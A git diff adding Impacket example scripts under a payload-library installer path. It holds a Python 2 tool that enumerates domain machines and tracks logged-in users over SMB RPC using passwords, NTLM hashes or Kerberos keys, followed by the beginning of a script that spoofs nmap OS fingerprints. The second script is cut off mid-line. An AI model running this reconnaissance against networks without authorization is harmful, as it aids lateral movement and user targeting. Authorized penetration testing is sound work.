myIP + myIP = s.getsockname()[0] + s.close() + machinesAliveQueue.put(machine) + except Exception, e: + logging.debug('%s: not alive (%s)' % (machine, e)) + pass + else: + logging.debug('%s: alive!' % machine) + deadMachines.remove(machine) + if stopEvent.is_set(): + done = True + break + + logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen)) + if singlePass is True: + done = True + if not done: + sleep(10) + # Do we have some new deadMachines to add? + while machinesDownQueue.empty() is False: + deadMachines.append(machinesDownQueue.get()) + +class USERENUM: + def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, options=None): + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = options.dc_ip + self.__options = options + self.__machinesList = list() + self.__targets = dict() + self.__filterUsers = None + self.__targetsThreadEvent = None + self.__targetsThread = None + self.__maxConnections = int(options.max_connections) + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def getDomainMachines(self): + if self.__kdcHost is not None: + domainController = self.__kdcHost + elif self.__domain is not '': + domainController = self.__domain + else: + raise Exception('A domain is needed!') + + logging.info('Getting machine\'s list from %s' % domainController) + rpctransport = transport.SMBTransport(domainController, 445, r'\samr', self.__username, self.__password, + self.__domain, self.__lmhash, self.__nthash, self.__aesKey, + doKerberos=self.__doKerberos, kdcHost = self.__kdcHost) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + try: + resp = samr.hSamrConnect(dce) + serverHandle = resp['ServerHandle'] + + resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) + domains = resp['Buffer']['Buffer'] + + logging.info("Looking up users in domain %s" % domains[0]['Name']) + + resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) + + resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) + domainHandle = resp['DomainHandle'] + + status = STATUS_MORE_ENTRIES + enumerationContext = 0 + while status == STATUS_MORE_ENTRIES: + try: + resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT, + enumerationContext=enumerationContext) + except DCERPCException, e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + + for user in resp['Buffer']['Buffer']: + self.__machinesList.append(user['Name'][:-1]) + logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId'])) + + enumerationContext = resp['EnumerationContext'] + status = resp['ErrorCode'] + except Exception, e: + raise e + + dce.disconnect() + + def getTargets(self): + logging.info('Importing targets') + if self.__options.target is None and self.__options.targets is None: + # We need to download the list of machines from the domain + self.getDomainMachines() + elif self.__options.targets is not None: + for line in self.__options.targets.readlines(): + self.__machinesList.append(line.strip(' \r\n')) + else: + # Just a single machine + self.__machinesList.append(self.__options.target) + logging.info("Got %d machines" % len(self.__machinesList)) + + def filterUsers(self): + if self.__options.user is not None: + self.__filterUsers = list() + self.__filterUsers.append(self.__options.user) + elif self.__options.users is not None: + # Grab users list from a file + self.__filterUsers = list() + for line in self.__options.users.readlines(): + self.__filterUsers.append(line.strip(' \r\n')) + else: + self.__filterUsers = None + + def run(self): + self.getTargets() + self.filterUsers() + #self.filterGroups() + + # Up to here we should have figured out the scope of our work + self.__targetsThreadEvent = Event() + if self.__options.noloop is False: + # Start a separate thread checking the targets that are up + self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent)) + self.__targetsThread.start() + else: + # Since it's gonna be a one shoot test, we need to wait till it finishes + checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True) + + while True: + # Do we have more machines to add? + while machinesAliveQueue.empty() is False: + machine = machinesAliveQueue.get() + logging.debug('Adding %s to the up list' % machine) + self.__targets[machine] = {} + self.__targets[machine]['SRVS'] = None + self.__targets[machine]['WKST'] = None + self.__targets[machine]['Admin'] = True + self.__targets[machine]['Sessions'] = list() + self.__targets[machine]['LoggedIn'] = set() + + for target in self.__targets.keys(): + try: + self.getSessions(target) + self.getLoggedIn(target) + except (SessionError, DCERPCException), e: + # We will silently pass these ones, might be issues with Kerberos, or DCE + if str(e).find('LOGON_FAILURE') >=0: + # For some reason our credentials don't work there, + # taking it out from the list. + logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target) + del(self.__targets[target]) + elif str(e).find('INVALID_PARAMETER') >=0: + del(self.__targets[target]) + elif str(e).find('access_denied') >=0: + # Can't access the target RPC call, most probably a Unix host + # taking it out from the list + del(self.__targets[target]) + else: + logging.info(str(e)) + pass + except KeyboardInterrupt: + raise + except Exception, e: + #import traceback + #print traceback.print_exc() + if str(e).find('timed out') >=0: + # Most probably this site went down. taking it out + # ToDo: add it back to the list of machines to check in + # the separate thread - DONE + del(self.__targets[target]) + machinesDownQueue.put(target) + else: + # These ones we will report + logging.error(e) + pass + + if self.__options.noloop is True: + break + + logging.debug('Sleeping for %s seconds' % self.__options.delay) + logging.debug('Currently monitoring %d active targets' % len(self.__targets)) + sleep(int(self.__options.delay)) + + def getSessions(self, target): + if self.__targets[target]['SRVS'] is None: + stringSrvsBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % target + rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding) + if hasattr(rpctransportSrvs, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransportSrvs.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransportSrvs.set_kerberos(self.__doKerberos, self.__kdcHost) + + dce = rpctransportSrvs.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + self.__maxConnections -= 1 + else: + dce = self.__targets[target]['SRVS'] + + try: + resp = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10) + except Exception, e: + if str(e).find('Broken pipe') >= 0: + # The connection timed-out. Let's try to bring it back next round + self.__targets[target]['SRVS'] = None + self.__maxConnections += 1 + return + else: + raise + + if self.__maxConnections < 0: + # Can't keep this connection open. Closing it + dce.disconnect() + self.__maxConnections = 0 + else: + self.__targets[target]['SRVS'] = dce + + # Let's see who createad a connection since last check + tmpSession = list() + printCRLF = False + for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: + userName = session['sesi10_username'][:-1] + sourceIP = session['sesi10_cname'][:-1][2:] + key = '%s\x01%s' % (userName, sourceIP) + myEntry = '%s\x01%s' % (self.__username, myIP) + tmpSession.append(key) + if not(key in self.__targets[target]['Sessions']): + # Skipping myself + if key != myEntry: + self.__targets[target]['Sessions'].append(key) + # Are we filtering users? + if self.__filterUsers is not None: + if userName in self.__filterUsers: + print "%s: user %s logged from host %s - active: %d, idle: %d" % ( + target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']) + printCRLF = True + else: + print "%s: user %s logged from host %s - active: %d, idle: %d" % ( + target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']) + printCRLF = True + + # Let's see who deleted a connection since last check + for nItem, session in enumerate(self.__targets[target]['Sessions']): + userName, sourceIP = session.split('\x01') + if session not in tmpSession: + del(self.__targets[target]['Sessions'][nItem]) + # Are we filtering users? + if self.__filterUsers is not None: + if userName in self.__filterUsers: + print "%s: user %s logged off from host %s" % (target, userName, sourceIP) + printCRLF=True + else: + print "%s: user %s logged off from host %s" % (target, userName, sourceIP) + printCRLF=True + + if printCRLF is True: + print + + def getLoggedIn(self, target): + if self.__targets[target]['Admin'] is False: + return + + if self.__targets[target]['WKST'] is None: + stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target + rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding) + if hasattr(rpctransportWkst, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost) + + dce = rpctransportWkst.get_dce_rpc() + dce.connect() + dce.bind(wkst.MSRPC_UUID_WKST) + self.__maxConnections -= 1 + else: + dce = self.__targets[target]['WKST'] + + try: + resp = wkst.hNetrWkstaUserEnum(dce,1) + except Exception, e: + if str(e).find('Broken pipe') >= 0: + # The connection timed-out. Let's try to bring it back next round + self.__targets[target]['WKST'] = None + self.__maxConnections += 1 + return + elif str(e).upper().find('ACCESS_DENIED'): + # We're not admin, bye + dce.disconnect() + self.__maxConnections += 1 + self.__targets[target]['Admin'] = False + return + else: + raise + + if self.__maxConnections < 0: + # Can't keep this connection open. Closing it + dce.disconnect() + self.__maxConnections = 0 + else: + self.__targets[target]['WKST'] = dce + + # Let's see who looged in locally since last check + tmpLoggedUsers = set() + printCRLF = False + for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']: + userName = session['wkui1_username'][:-1] + logonDomain = session['wkui1_logon_domain'][:-1] + key = '%s\x01%s' % (userName, logonDomain) + tmpLoggedUsers.add(key) + if not(key in self.__targets[target]['LoggedIn']): + self.__targets[target]['LoggedIn'].add(key) + # Are we filtering users? + if self.__filterUsers is not None: + if userName in self.__filterUsers: + print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName) + printCRLF=True + else: + print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName) + printCRLF=True + + # Let's see who logged out since last check + for session in self.__targets[target]['LoggedIn'].copy(): + userName, logonDomain = session.split('\x01') + if session not in tmpLoggedUsers: + self.__targets[target]['LoggedIn'].remove(session) + # Are we filtering users? + if self.__filterUsers is not None: + if userName in self.__filterUsers: + print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName) + printCRLF=True + else: + print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName) + printCRLF=True + + if printCRLF is True: + print + + def stop(self): + if self.__targetsThreadEvent is not None: + self.__targetsThreadEvent.set() + + +# Process command-line arguments. +if __name__ == '__main__': + print version.BANNER + # Init the example's logger theme + logger.init() + + parser = argparse.ArgumentParser() + + parser.add_argument('identity', action='store', help='[domain/]username[:password]') + parser.add_argument('-user', action='store', help='Filter output by this user') + parser.add_argument('-users', type=argparse.FileType('r'), help='input file with list of users to filter to output for') + #parser.add_argument('-group', action='store', help='Filter output by members of this group') + #parser.add_argument('-groups', type=argparse.FileType('r'), help='Filter output by members of the groups included in the input file') + parser.add_argument('-target', action='store', help='target system to query info from. If not specified script will ' + 'run in domain mode.') + parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query info ' + 'from (one per line). If not specified script will run in domain mode.') + parser.add_argument('-noloop', action='store_true', default=False, help='Stop after the first probe') + parser.add_argument('-delay', action='store', default = '10', help='seconds delay between starting each batch probe ' + '(default 10 seconds)') + parser.add_argument('-max-connections', action='store', default='1000', help='Max amount of connections to keep ' + 'opened (default 1000)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups( + '') + + try: + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = USERENUM(username, password, domain, options.hashes, options.aesKey, options.k, options) + executer.run() + except Exception, e: + #import traceback + #print traceback.print_exc() + logging.error(e) + executer.stop() + except KeyboardInterrupt: + logging.info('Quitting.. please wait') + executer.stop() + sys.exit(0) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/nmapAnswerMachine.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/nmapAnswerMachine.py new file mode 100644 index 0000000..077e37b --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/nmapAnswerMachine.py @@ -0,0 +1,1127 @@ +#!/usr/bin/env python +import random + +import os_ident +import uncrc32 + +try: import pcap as pcapy +except: import pcapy + +from impacket import ImpactPacket +from impacket import ImpactDecoder +from impacket.ImpactPacket import TCPOption +from impacket.examples import logger + +#defaults + +MAC = "01:02:03:04:05:06" +IP = "192.168.67.254" +IFACE = "eth0" +OPEN_TCP_PORTS = [80, 443] +OPEN_UDP_PORTS = [111] +UDP_CMD_PORT = 12345 +nmapOSDB = '/usr/share/nmap/nmap-os-db' + +# Fingerprint = 'Adtran NetVanta 3200 router' # CD=Z TOSI=Z <----------- NMAP detects it as Linux!!! +# Fingerprint = 'ADIC Scalar 1000 tape library remote management unit' # DFI=S +# Fingerprint = 'Siemens Gigaset SX541 or USRobotics USR9111 wireless DSL modem' # DFI=O U1(DF=N IPL=38) +# Fingerprint = 'Apple Mac OS X 10.5.6 (Leopard) (Darwin 9.6.0)' # DFI=Y SI=S U1(DF=Y) + +Fingerprint = 'Sun Solaris 10 (SPARC)' +# Fingerprint = 'Sun Solaris 9 (x86)' + +# Fingerprint = '3Com OfficeConnect 3CRWER100-75 wireless broadband router' # TI=Z DFI=N !SS TI=Z II=I +# Fingerprint = 'WatchGuard Firebox X5w firewall/WAP' # TI=RD +# no TI=Hex +# Fingerprint = 'FreeBSD 6.0-STABLE - 6.2-RELEASE' # TI=RI +# Fingerprint = 'Microsoft Windows 98 SE' # TI=BI ----> BROKEN! nmap shows no SEQ() output +# Fingerprint = 'Microsoft Windows NT 4.0 SP5 - SP6' # TI=BI TOSI=S SS=S +# Fingerprint = 'Microsoft Windows Vista Business' # TI=I U1(IPL=164) + +# Fingerprint = 'FreeBSD 6.1-RELEASE' # no TI (TI=O) + +# Fingerprint = '2Wire 1701HG wireless ADSL modem' # IE(R=N) + +# Fingerprint = 'Cisco Catalyst 1912 switch' # TOSI=O SS=S + +O_ETH = 0 +O_IP = 1 +O_ARP = 1 +O_UDP = 2 +O_TCP = 2 +O_ICMP = 2 +O_UDP_DATA = 3 +O_ICMP_DATA = 3 + +def string2tuple(string): + if string.find(':') >= 0: + return [int(x) for x in string.split(':')] + else: + return [int(x) for x in string.split('.')] + +class Responder: + templateClass = None + signatureName = None + + def __init__(self, machine): + self.machine = machine + print "Initializing %s" % self.__class__.__name__ + self.initTemplate() + self.initFingerprint() + + def initTemplate(self): + if not self.templateClass: + self.template_onion = None + else: + try: + probe = self.templateClass(0, ['0.0.0.0',self.getIP()],[0, 0]) + except: + probe = self.templateClass(0, ['0.0.0.0',self.getIP()]) + self.template_onion = [probe.get_packet()] + try: + while 1: self.template_onion.append(self.template_onion[-1].child()) + except: pass + + # print "Template: %s" % self.template_onion[O_ETH] + # print "Options: %r" % self.template_onion[O_TCP].get_padded_options() + # print "Flags: 0x%04x" % self.template_onion[O_TCP].get_th_flags() + + def initFingerprint(self): + if not self.signatureName: + self.fingerprint = None + else: + self.fingerprint = self.machine.fingerprint.get_tests()[self.signatureName].copy() + + def isMine(self, in_onion): + return False + + def buildAnswer(self, in_onion): + return None + + def sendAnswer(self, out_onion): + self.machine.sendPacket(out_onion) + + def process(self, in_onion): + if not self.isMine(in_onion): return False + print "Got packet for %s" % self.__class__.__name__ + + out_onion = self.buildAnswer(in_onion) + + if out_onion: self.sendAnswer(out_onion) + return True + + def getIP(self): + return self.machine.ipAddress + +# Generic Responders (does the word Responder exist?) + +class ARPResponder(Responder): + def isMine(self, in_onion): + if len(in_onion) < 2: return False + + if in_onion[O_ARP].ethertype != ImpactPacket.ARP.ethertype: + return False + + return ( + in_onion[O_ARP].get_ar_op() == 1 and # ARP REQUEST + in_onion[O_ARP].get_ar_tpa() == string2tuple(self.machine.ipAddress)) + + def buildAnswer(self, in_onion): + eth = ImpactPacket.Ethernet() + arp = ImpactPacket.ARP() + eth.contains(arp) + + arp.set_ar_hrd(1) # Hardward type Ethernet + arp.set_ar_pro(0x800) # IP + arp.set_ar_op(2) # REPLY + arp.set_ar_hln(6) + arp.set_ar_pln(4) + arp.set_ar_sha(string2tuple(self.machine.macAddress)) + arp.set_ar_spa(string2tuple(self.machine.ipAddress)) + arp.set_ar_tha(in_onion[O_ARP].get_ar_sha()) + arp.set_ar_tpa(in_onion[O_ARP].get_ar_spa()) + + eth.set_ether_shost(arp.get_ar_sha()) + eth.set_ether_dhost(arp.get_ar_tha()) + + return [eth, arp] + +class IPResponder(Responder): + def buildAnswer(self, in_onion): + eth = ImpactPacket.Ethernet() + ip = ImpactPacket.IP() + + eth.contains(ip) + + eth.set_ether_shost(in_onion[O_ETH].get_ether_dhost()) + eth.set_ether_dhost(in_onion[O_ETH].get_ether_shost()) + + ip.set_ip_src(in_onion[O_IP].get_ip_dst()) + ip.set_ip_dst(in_onion[O_IP].get_ip_src()) + ip.set_ip_id(self.machine.getIPID()) + + return [eth, ip] + + def sameIPFlags(self, in_onion): + if not self.template_onion: return True + return (self.template_onion[O_IP].get_ip_off() & 0xe000) == (in_onion[O_IP].get_ip_off() & 0xe000) + + def isMine(self, in_onion): + if len(in_onion) < 2: return False + + return ( + (in_onion[O_IP].ethertype == ImpactPacket.IP.ethertype) and + (in_onion[O_IP].get_ip_dst() == self.machine.ipAddress) and + self.sameIPFlags(in_onion) + ) + + def setTTLFromFingerprint(self, out_onion): + f = self.fingerprint + # Test T: Initial TTL = range_low-range_hi, base 16 + # Assumption: we are using the minimum in the TTL range + try: + ttl = f['T'].split('-') + ttl = int(ttl[0], 16) + except: + ttl = 0x7f + + # Test TG: Initial TTL Guess. It's just a number, we prefer this + try: ttl = int(f['TG'], 16) + except: pass + + out_onion[O_IP].set_ip_ttl(ttl) + +class ICMPResponder(IPResponder): + def buildAnswer(self, in_onion): + out_onion = IPResponder.buildAnswer(self, in_onion) + icmp = ImpactPacket.ICMP() + + out_onion[O_IP].contains(icmp) + out_onion.append(icmp) + + icmp.set_icmp_id(in_onion[O_ICMP].get_icmp_id()) + icmp.set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) + + out_onion[O_IP].set_ip_id(self.machine.getIPID_ICMP()) + + return out_onion + + def isMine(self, in_onion): + if not IPResponder.isMine(self, in_onion): return False + if len(in_onion) < 3: return False + + return ( + (in_onion[O_ICMP].protocol == ImpactPacket.ICMP.protocol) and + self.sameICMPTemplate(in_onion)) + + def sameICMPTemplate(self, in_onion): + t_ip = self.template_onion[O_IP] + t_icmp = self.template_onion[O_ICMP] + t_icmp_datalen = self.template_onion[O_ICMP_DATA].get_size() + + return ( + (t_ip.get_ip_tos() == in_onion[O_IP].get_ip_tos()) and + (t_ip.get_ip_df() == in_onion[O_IP].get_ip_df()) and + (t_icmp.get_icmp_type() == in_onion[O_ICMP].get_icmp_type()) and + (t_icmp.get_icmp_code() == in_onion[O_ICMP].get_icmp_code()) and + (t_icmp_datalen == in_onion[O_ICMP_DATA].get_size()) + ) + +class UDPResponder(IPResponder): + def isMine(self, in_onion): + return ( + IPResponder.isMine(self, in_onion) and + (len(in_onion) >= 3) and + (in_onion[O_UDP].protocol == ImpactPacket.UDP.protocol) + ) + +class OpenUDPResponder(UDPResponder): + def isMine(self, in_onion): + return ( + UDPResponder.isMine(self, in_onion) and + self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) + + def buildAnswer(self, in_onion): + out_onion = IPResponder.buildAnswer(self, in_onion) + udp = ImpactPacket.UDP() + + out_onion[O_IP].contains(udp) + out_onion.append(udp) + + udp.set_uh_dport(in_onion[O_UDP].get_uh_sport()) + udp.set_uh_sport(in_onion[O_UDP].get_uh_dport()) + + return out_onion + +class ClosedUDPResponder(UDPResponder): + def isMine(self, in_onion): + return ( + UDPResponder.isMine(self, in_onion) and + not self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) + + def buildAnswer(self, in_onion): + out_onion = IPResponder.buildAnswer(self, in_onion) + icmp = ImpactPacket.ICMP() + + out_onion[O_IP].contains(icmp) + out_onion.append(icmp) + + icmp.contains(in_onion[O_IP]) + out_onion += in_onion[O_IP:] + + icmp.set_icmp_type(icmp.ICMP_UNREACH) + icmp.set_icmp_code(icmp.ICMP_UNREACH_PORT) + + return out_onion + +class TCPResponder(IPResponder): + def buildAnswer(self, in_onion): + out_onion = IPResponder.buildAnswer(self, in_onion) + tcp = ImpactPacket.TCP() + + out_onion[O_IP].contains(tcp) + out_onion.append(tcp) + + tcp.set_th_dport(in_onion[O_TCP].get_th_sport()) + tcp.set_th_sport(in_onion[O_TCP].get_th_dport()) + + return out_onion + + def sameTCPFlags(self, in_onion): + if not self.template_onion: return True + in_flags = in_onion[O_TCP].get_th_flags() & 0xfff + t_flags = self.template_onion[O_TCP].get_th_flags() & 0xfff + + return in_flags == t_flags + + def sameTCPOptions(self, in_onion): + if not self.template_onion: return True + in_options = in_onion[O_TCP].get_padded_options() + t_options = self.template_onion[O_TCP].get_padded_options() + + return in_options == t_options + + def isMine(self, in_onion): + if not IPResponder.isMine(self, in_onion): return False + if len(in_onion) < 3: return False + + return ( + in_onion[O_TCP].protocol == ImpactPacket.TCP.protocol and + self.sameTCPFlags(in_onion) and + self.sameTCPOptions(in_onion) + ) + +class OpenTCPResponder(TCPResponder): + def isMine(self, in_onion): + return ( + TCPResponder.isMine(self, in_onion) and + in_onion[O_TCP].get_SYN() and + self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport())) + + def buildAnswer(self, in_onion): + out_onion = TCPResponder.buildAnswer(self, in_onion) + + out_onion[O_TCP].set_SYN() + out_onion[O_TCP].set_ACK() + out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) + out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) + + return out_onion + +class ClosedTCPResponder(TCPResponder): + def isMine(self, in_onion): + return ( + TCPResponder.isMine(self, in_onion) and + in_onion[O_TCP].get_SYN() and + not self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport())) + + def buildAnswer(self, in_onion): + out_onion = TCPResponder.buildAnswer(self, in_onion) + + out_onion[O_TCP].set_RST() + out_onion[O_TCP].set_ACK() + out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) + out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) + + return out_onion + +class UDPCommandResponder(OpenUDPResponder): + # default UDP_CMD_PORT is 12345 + # use with: + # echo cmd:exit | nc -u $(IP) $(UDP_CMD_PORT) + # echo cmd:who | nc -u $(IP) $(UDP_CMD_PORT) + + def set_port(self, port): + self.port = port + self.machine.openUDPPort(port) + return self + + def isMine(self, in_onion): + return ( + OpenUDPResponder.isMine(self, in_onion))# and + #in_onion[O_UDP].get_uh_dport() == self.port) + + def buildAnswer(self, in_onion): + cmd = in_onion[O_UDP_DATA].get_bytes().tostring() + if cmd[:4] == 'cmd:': cmd = cmd[4:].strip() + print "Got command: %r" % cmd + + if cmd == 'exit': + from sys import exit + exit() + + out_onion = OpenUDPResponder.buildAnswer(self, in_onion) + out_onion.append(ImpactPacket.Data()) + out_onion[O_UDP].contains(out_onion[O_UDP_DATA]) + if cmd == 'who': + out_onion[O_UDP_DATA].set_data(self.machine.fingerprint.get_id()) + + return out_onion + +# NMAP2 specific responders +class NMAP2UDPResponder(ClosedUDPResponder): + signatureName = 'U1' + + # No real need to filter + # def isMine(self, in_onion): + # return ( + # ClosedUDPResponder.isMine(self, inOnion) and + # (in_onion[O_UDP_DATA].get_size() == 300)) + + def buildAnswer(self, in_onion): + out_onion = ClosedUDPResponder.buildAnswer(self, in_onion) + f = self.fingerprint + + # assume R = Y + try: + if (f['R'] == 'N'): return None + except: pass + + # Test DF: Don't fragment IP bit set = [YN] + if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) + else: out_onion[O_IP].set_ip_df(False) + + self.setTTLFromFingerprint(out_onion) + + # UN. Assume 0 + try: un = int(f['UN'],16) + except: un = 0 + out_onion[O_ICMP].set_icmp_void(un) + + # RIPL. Assume original packet just quoted + try: + ripl = int(f['RIPL'],16) # G generates exception + out_onion[O_ICMP_DATA].set_ip_len(ripl) + except: + pass + + # RID. Assume original packet just quoted + try: + rid = int(f['RID'],16) # G generates exception + out_onion[O_ICMP_DATA].set_ip_id(rid) + except: + pass + + # RIPCK. Assume original packet just quoted + try: ripck = f['RIPCK'] + except: ripck = 'G' + if ripck == 'I': out_onion[O_ICMP_DATA].set_ip_sum(0x6765) + elif ripck == 'Z': out_onion[O_ICMP_DATA].set_ip_sum(0) + elif ripck == 'G': out_onion[O_ICMP_DATA].auto_checksum = 0 + + # RUCK. Assume original packet just quoted + try: + ruck = int(f['RUCK'], 16) + out_onion[O_ICMP_DATA+1].set_uh_sum(ruck) + except: + out_onion[O_ICMP_DATA+1].auto_checksum = 0 + + # RUD. Assume original packet just quoted + try: rud = f['RUD'] + except: rud = 'G' + + if rud == 'I': + udp_data = out_onion[O_ICMP_DATA+2] + udp_data.set_data('G'*udp_data.get_size()) + + # IPL. Assume all original packet is quoted + # This has to be the last thing we do + # as we are going to render the packet before doing it + try: ipl = int(f['IPL'], 16) + except: ipl = None + + if not ipl is None: + data = out_onion[O_ICMP_DATA].get_packet() + out_onion[O_ICMP].contains(ImpactPacket.Data()) + ip_and_icmp_len = out_onion[O_IP].get_size() + + data = data[:ipl - ip_and_icmp_len] + + data += '\x00'*(ipl-len(data)-ip_and_icmp_len) + out_onion = out_onion[:O_ICMP_DATA] + out_onion.append(ImpactPacket.Data(data)) + out_onion[O_ICMP].contains(out_onion[O_ICMP_DATA]) + + return out_onion + +class NMAP2ICMPResponder(ICMPResponder): + def buildAnswer(self, in_onion): + f = self.fingerprint + + # assume R = Y + try: + if (f['R'] == 'N'): return None + except: pass + + out_onion = ICMPResponder.buildAnswer(self, in_onion) + + # assume DFI = N + try: dfi = f['DFI'] + except: dfi = 'N' + + if dfi == 'N': out_onion[O_IP].set_ip_df(False) + elif dfi == 'Y': out_onion[O_IP].set_ip_df(True) + elif dfi == 'S': out_onion[O_IP].set_ip_df(in_onion[O_IP].get_ip_df()) + elif dfi == 'O': out_onion[O_IP].set_ip_df(not in_onion[O_IP].get_ip_df()) + else: raise Exception('Unsupported IE(DFI=%s)' % dfi) + + # assume DLI = S + try: dli = f['DLI'] + except: dli = 'S' + + if dli == 'S': out_onion[O_ICMP].contains(in_onion[O_ICMP_DATA]) + elif dli != 'Z': raise Exception('Unsupported IE(DFI=%s)' % dli) + + self.setTTLFromFingerprint(out_onion) + + # assume SI = S + try: si = f['SI'] + except: si = 'S' + + if si == 'S': out_onion[O_ICMP].set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) + elif si == 'Z': out_onion[O_ICMP].set_icmp_seq(0) # this is not currently supported by nmap, but I've done it already + else: + try: out_onion[O_ICMP].set_icmp_seq(int(si, 16)) # this is not supported either by nmap + except: raise Exception('Unsupported IE(SI=%s)' % si) + + # assume CD = S + try: cd = f['CD'] + except: cd = 'S' + + if cd == 'Z': out_onion[O_ICMP].set_icmp_code(0) + elif cd == 'S': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()) + elif cd == 'O': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()+1) # no examples in DB + else: + try: out_onion[O_ICMP].set_icmp_code(int(cd, 16)) # documented, but no examples available + except: raise Exception('Unsupported IE(CD=%s)' % cd) + + # assume TOSI = S + try: tosi = f['TOSI'] + except: tosi = 'S' + + if tosi == 'Z': out_onion[O_IP].set_ip_tos(0) + elif tosi == 'S': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()) + elif tosi == 'O': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()+1) # no examples in DB + else: + try: out_onion[O_IP].set_ip_tos(int(tosi, 16)) # documented, but no examples available + except: raise Exception('Unsupported IE(TOSI=%s)' % tosi) + + return out_onion + +class NMAP2TCPResponder(TCPResponder): + def buildAnswer(self, in_onion): + out_onion = TCPResponder.buildAnswer(self, in_onion) + + f = self.fingerprint + + # Test R: There is a response = [YN] + if (f['R'] == 'N'): return None + + # Test DF: Don't fragment IP bit set = [YN] + if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) + else: out_onion[O_IP].set_ip_df(False) + + # Test W: Initial TCP windows size + try: win = int(f['W'],16) + except: win = 0 + out_onion[O_TCP].set_th_win(win) + + self.setTTLFromFingerprint(out_onion) + + # Test CC: Explicit congestion notification + # Two TCP flags are used in this test: ECE and CWR + try: + cc = f['CC'] + if cc == 'N': ece,cwr = 0,0 + if cc == 'Y': ece,cwr = 1,0 + if cc == 'S': ece,cwr = 1,1 + if cc == 'O': ece,cwr = 0,1 + except: + ece,cwr = 0,0 + + if ece: out_onion[O_TCP].set_ECE() + else: out_onion[O_TCP].reset_ECE() + if cwr: out_onion[O_TCP].set_CWR() + else: out_onion[O_TCP].reset_CWR() + + + # Test O: TCP Options + try: options = f['O'] + except: options = '' + self.setTCPOptions(out_onion, options) + + # Test S: TCP Sequence number + # Z: Sequence number is zero + # A: Sequence number is the same as the ACK in the probe + # A+: Sequence number is the same as the ACK in the probe + 1 + # O: Other value + try: s 